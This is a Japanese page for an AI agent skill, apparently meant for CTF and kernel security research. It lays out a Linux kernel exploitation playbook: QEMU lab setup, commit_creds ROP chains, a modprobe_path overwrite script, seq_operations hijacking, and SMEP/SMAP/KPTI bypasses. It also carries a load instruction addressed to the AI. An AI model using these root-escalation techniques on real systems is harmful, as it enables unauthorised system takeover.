kernel-exploitation について
セキュリティ研究者やCTF参加者向けのLinuxカーネル悪用ガイドです。QEMU環境、脆弱性の種類、権限昇格、カーネルROP、ユーザー空間への復帰を扱い、カーネル固有の緩和策にも触れます。
主な機能
- 01QEMUカーネル環境の構築
- 02一般的なカーネル脆弱性の分類
- 03権限昇格のターゲット
- 04カーネルROPとスタックピボット
- 05SMEP、SMAP、KPTIへの考慮
- 06ユーザー空間への安全な復帰
活用シーン
- 01カーネルデバッグ環境の構築
- 02UAF、OOB、競合状態の分析
- 03カーネル権限昇格エクスプロイトの開発
- 04カーネル緩和策への対処を計画
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill kernel-exploitationインストール後、Claude Code で/kernel-exploitationを入力して読み込まれたか確認します。
同梱ファイルKERNEL_HEAP_TECHNIQUES.mdKERNEL_MITIGATION_BYPASS.md
詳細
スキル:Linux カーネルエクスプロイト — エキスパート向け攻撃プレイブック
AI LOAD INSTRUCTION:エキスパート向けカーネルエクスプロイト技術です。環境設定(QEMU)、脆弱性の種類、権限昇格の標的、カーネル ROP、ret2usr、スタックピボット、クロスキャッシュ攻撃を扱います。ctf-wiki のカーネルモード関連セクションと、実際のカーネル CVE をもとに要点をまとめています。ベースモデルは、ユーザーモードとカーネルモードのエクスプロイト制約を混同しやすく、特に SMEP/SMAP/KPTI に関して注意が必要です。
0. 関連項目
- binary-protection-bypass — ユーザー空間の保護(NX、ASLR)はカーネルコンテキストにも適用されます
- stack-overflow-and-rop — カーネル ROP では、多くのユーザー空間 ROP の概念を再利用します
- heap-exploitation — カーネルの SLUB は、概念的にユーザー空間のヒープと関連しています
- linux-privilege-escalation — エクスプロイトを使わないカーネルの権限昇格手法
高度な参考資料
- KERNEL_MITIGATION_BYPASS.md — KASLR、SMEP、SMAP、KPTI、FG-KASLR、CFI のバイパス手法
- KERNEL_HEAP_TECHNIQUES.md — SLUB の内部構造、クロスキャッシュ攻撃、msg_msg/pipe_buffer/sk_buff のエクスプロイト
1. エクスプロイトのモデル
┌─────────────────────────────────────────────────────┐
│ 1. Find Vulnerability │
│ (UAF, OOB, race, integer overflow, type confusion)│
├─────────────────────────────────────────────────────┤
│ 2. Build Primitive │
│ (arbitrary read, arbitrary write, controlled RIP)│
├─────────────────────────────────────────────────────┤
│ 3. Bypass Mitigations │
│ (KASLR, SMEP, SMAP, KPTI) │
├─────────────────────────────────────────────────────┤
│ 4. Escalate Privileges │
│ (commit_creds, modprobe_path, namespace escape) │
├─────────────────────────────────────────────────────┤
│ 5. Return to Userspace Cleanly │
│ (KPTI trampoline, iretq/sysretq, swapgs) │
└─────────────────────────────────────────────────────┘
2. 環境設定
QEMU とカスタムカーネル
# Download and compile kernel
wget https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.1.tar.xz
tar xf linux-6.1.tar.xz && cd linux-6.1
make defconfig
# Disable mitigations for easier debugging:
scripts/config --disable RANDOMIZE_BASE # KASLR
scripts/config --disable RANDOMIZE_LAYOUT # FG-KASLR
scripts/config --enable DEBUG_INFO
make -j$(nproc)
# Boot with QEMU
qemu-system-x86_64 \
-kernel bzImage \
-initrd rootfs.cpio.gz \
-append "console=ttyS0 nokaslr quiet" \
-nographic \
-s -S \ # GDB server on :1234, pause at start
-monitor /dev/null \
-m 256M \
-cpu kvm64,+smep,+smap
GDB によるデバッグ
gdb vmlinux
target remote :1234
# Load kernel symbols
add-symbol-file vmlinux 0xffffffff81000000 # typical .text base
# Breakpoints
b commit_creds
b *0xffffffff81234567
# pwndbg/GEF work with kernel debugging
initramfs の変更
mkdir rootfs && cd rootfs
cpio -idmv < ../rootfs.cpio.gz
# Edit init script, add exploit binary
cp /path/to/exploit ./
# Repack
find . | cpio -o --format=newc | gzip > ../rootfs.cpio.gz
3. よくある脆弱性の種類
| 種類 | 説明 | カーネルの例 |
|---|---|---|
| UAF | オブジェクトが解放された後も、ポインターからアクセスできます | CVE-2022-0847(DirtyPipe) |
| OOB Read/Write | 配列のインデックスまたはサイズのチェックが欠落しています | CVE-2021-22555(Netfilter) |
| 競合状態 | チェックと使用の間に TOCTOU が発生します | CVE-2016-5195(DirtyCow) |
| 整数オーバーフロー | サイズ計算がオーバーフローします | 各種 ioctl ハンドラー |
| 型の取り違え | オブジェクトが誤った型にキャストされます | CVE-2023-0179(Netfilter) |
| 二重解放 | オブジェクトが二度解放されます | SLUB アロケーターのエクスプロイト |
| スタックオーバーフロー | カーネルスタックのバッファーオーバーフロー | まれ(カーネルスタックは小さい:8KB~16KB) |
4. 権限昇格の標的
方法 1:commit_creds(prepare_kernel_cred(0))
// Kernel function that sets current process credentials to root
void (*commit_creds)(void *) = COMMIT_CREDS_ADDR;
void *(*prepare_kernel_cred)(void *) = PREPARE_KERNEL_CRED_ADDR;
commit_creds(prepare_kernel_cred(0)); // cred with uid=0, gid=0
カーネル ROP チェーンでの同等の方法:
pop rdi; ret
0 # NULL → prepare_kernel_cred(NULL) = init_cred
prepare_kernel_cred addr
mov rdi, rax; ... ; ret # or pop rdi + known location
commit_creds addr
kpti_trampoline / swapgs+iretq # return to userspace
方法 2:modprobe_path の上書き
// modprobe_path = "/sbin/modprobe" in kernel .data
// Overwrite to "/tmp/x" → trigger with unknown binary format → kernel runs /tmp/x as root
# Setup:
echo '#!/bin/sh' > /tmp/x
echo 'cp /flag /tmp/flag && chmod 777 /tmp/flag' >> /tmp/x
chmod +x /tmp/x
# Trigger (unknown binary format):
echo -ne '\xff\xff\xff\xff' > /tmp/dummy
chmod +x /tmp/dummy
/tmp/dummy # kernel calls modprobe_path → /tmp/x runs as root
方法 3:cred 構造体の直接上書き
現在のタスクの cred ポインターを特定でき、任意の書き込みが可能な場合は、cred 構造体の uid/gid フィールドを直接ゼロにします。
方法 4:名前空間からの脱出(コンテナー)
init_nsproxy を上書きするか、名前空間ポインターを操作して、コンテナーの隔離から脱出します。
5. カーネル ROP
RIP を制御できる箇所
| 箇所 | 仕組み |
|---|---|
| 破損した関数ポインター | UAF オブジェクトに vtable のようなディスパッチ機構があり、ポインターを上書きします |
| 破損したリターンアドレス | カーネルスタックのオーバーフロー(まれ) |
破損した ops 構造体 | モジュールの操作構造体(file_operations、seq_operations) |
seq_operations の乗っ取り(CTF でよくあるパターン)
struct seq_operations {
void * (*start)(struct seq_file *, loff_t *);
void (*stop)(struct seq_file *, void *);
void * (*next)(struct seq_file *, void *, loff_t *);
int (*show)(struct seq_file *, void *);
};
// Size: 0x20 (fits in kmalloc-32)
// Open /proc/self/stat → allocates seq_operations
// UAF overwrite start → controlled RIP when read() is called
カーネルでのスタックピボット
| ガジェット | 用途 |
|---|---|
xchg eax, esp; ret | RAX の下位 32 ビットにあるアドレスへピボットします(既知のアドレスにある mmap バッファー) |
mov rsp, [rdi+X]; ... | RDI が制御可能なデータを指している場合 |
push rdi; pop rsp; ... | RDI(乗っ取った関数の最初の引数)へピボットします |
重要:SMEP 有効時は、ユーザー空間のコードを実行できません。ROP チェーンでは、カーネルのガジェットのみを使用する必要があります。
6. ret2usr(SMEP 登場前)
カーネルコンテキストからユーザー空間の関数を直接呼び出します:
void escalate() {
commit_creds(prepare_kernel_cred(0));
}
// Overwrite kernel function pointer to point to escalate() in user memory
阻止要因:SMEP(Supervisor Mode Execution Prevention)— カーネルはユーザーマッピングされたページを実行できません。
7. ユーザー空間への復帰
カーネル内で権限を昇格した後、root シェルを取得するには、正常にユーザー空間へ戻る必要があります。
iretq 経由(従来の方法)
; ROP chain ending:
swapgs ; swap GS base back to userspace
iretq ; pops: RIP, CS, RFLAGS, RSP, SS from stack
; Stack must contain: [user_rip][user_cs][user_rflags][user_rsp][user_ss]
# Save userspace state before entering kernel
user_cs = 0x33
user_ss = 0x2b
user_rflags = # saved via pushfq before exploit
user_rsp = # saved RSP
user_rip = # address of post-exploit function (e.g., get_shell)
KPTI トランポリン経由(KPTI 有効時)
KPTI はカーネルとユーザーのページテーブルを分離します。ユーザーページがマッピングされていないため、swapgs; iretq を直接実行するとクラッシュします。カーネル独自の復帰トランポリンを使用してください:
# KPTI trampoline (in kernel at known offset):
# swapgs_restore_regs_and_return_to_usermode:
# mov rdi, rsp
# ...
# swapgs
# iretq
# Jump to trampoline with [RIP, CS, RFLAGS, RSP, SS] on stack
シグナルハンドラー経由での復帰
エクスプロイトを実行する前にシグナルハンドラーを設定します。commit_creds の後にシグナルを発生させると、シグナルハンドラー経由でユーザー空間に戻ります(手動での swapgs/iretq を回避できます)。
8. QEMU デバッグのヒント
| コマンド | 目的 |
|---|---|
-s -S | :1234 で GDB サーバーを起動し、一時停止します |
-monitor /dev/null | QEMU モニターを無効にします(出力が見やすくなります) |
-append "nokaslr" | デバッグ用に KASLR を無効にします |
-cpu kvm64,+smep,+smap | 特定の CPU 機能を有効にします |
info registers (GDB) | すべてのレジスター値を表示します |
maintenance packet Qqemu.PhyMemMode:1 | GDB で物理メモリーを読み取ります |
cat /proc/kallsyms | カーネルのシンボルアドレス(読み取り可能な場合) |
cat /sys/kernel/notes | カーネルのビルド ID |
9. 判断ツリー
Kernel vulnerability identified
├── What type?
│ ├── UAF → identify freed object, spray replacement (see KERNEL_HEAP_TECHNIQUES)
│ ├── OOB → determine read/write range, target adjacent objects
│ ├── Race condition → reliable trigger (userfaultfd, FUSE)
│ ├── Integer overflow → how does it translate to OOB or allocation confusion?
│ └── Type confusion → what can the confused type access?
│
├── Build primitive
│ ├── Controlled RIP? → kernel ROP or ret2usr (if no SMEP)
│ ├── Arbitrary read? → leak KASLR base, then controlled RIP
│ ├── Arbitrary write? → modprobe_path overwrite (simplest)
│ │ or overwrite cred structure directly
│ └── Limited write? → target function pointer in known object
│
├── Mitigations (see KERNEL_MITIGATION_BYPASS.md)
│ ├── KASLR → need info leak first (/proc/kallsyms if readable, timing, or OOB read)
│ ├── SMEP → kernel ROP only (no user code exec)
│ ├── SMAP → cannot read user data from kernel (use copy_from_user gadget)
│ ├── KPTI → use KPTI trampoline for clean return
│ └── FG-KASLR → function offsets randomized (use data section targets like modprobe_path)
│
├── Escalation method
│ ├── Have controlled RIP + KASLR bypass → ROP chain: prepare_kernel_cred(0) → commit_creds
│ ├── Have arbitrary write only → modprobe_path overwrite
│ ├── Have arbitrary write + KASLR bypass → overwrite cred uid/gid to 0
│ └── Have controlled function call → call commit_creds(prepare_kernel_cred(0))
│
└── Return to userspace
├── KPTI disabled → swapgs; iretq (ROP ending)
├── KPTI enabled → jump to KPTI trampoline
└── Alternative → signal handler + process_one_work return path